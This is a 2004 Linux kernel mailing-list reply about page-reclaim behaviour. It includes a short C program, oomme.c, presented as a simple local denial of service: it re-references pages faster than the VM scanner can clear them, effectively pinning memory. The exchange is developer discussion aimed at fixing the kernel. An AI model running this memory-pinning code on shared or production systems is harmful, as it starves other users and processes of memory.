Re: [BENCHMARKS] Namesys VM patches improve kbuild

Nikita Danilov
2004-01-23T10:29:39Z

Nick Piggin writes:
>

[...]

>
> But those cold mapped pages are basically ignored until the
> reclaim_mapped threshold, however they do continue to have their
> referenced bits cleared - hence page_referenced check should
> become a better estimation when reclaim_mapped is reached, right?

Right.

By the way here lies another problem: refill_inactive_zone() never
removes referenced mapped page from the active list. Which allows for
the simple DoS:

----oomme.c-----------------------------------------------------------
#include <stdlib.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
unsigned long memuse;
char *base;
char *scan;
int shift;
int i;

memuse = strtoul(argv[1], NULL, 0);
shift = getpagesize();

base = malloc(memuse);
if (base == NULL) {
perror("malloc");
exit(1);
}

for (i = 0;; ++i) {
for (scan = base; scan < base + memuse; scan += shift)
*scan += i;
printf("%i\n", i);
}
}
----oomme.c-----------------------------------------------------------

This program will re-reference allocated pages much faster than VM
scanner(s) will be able to analyze and clear their reference bits. In
effect it mlocks memory.

>
>

Nikita.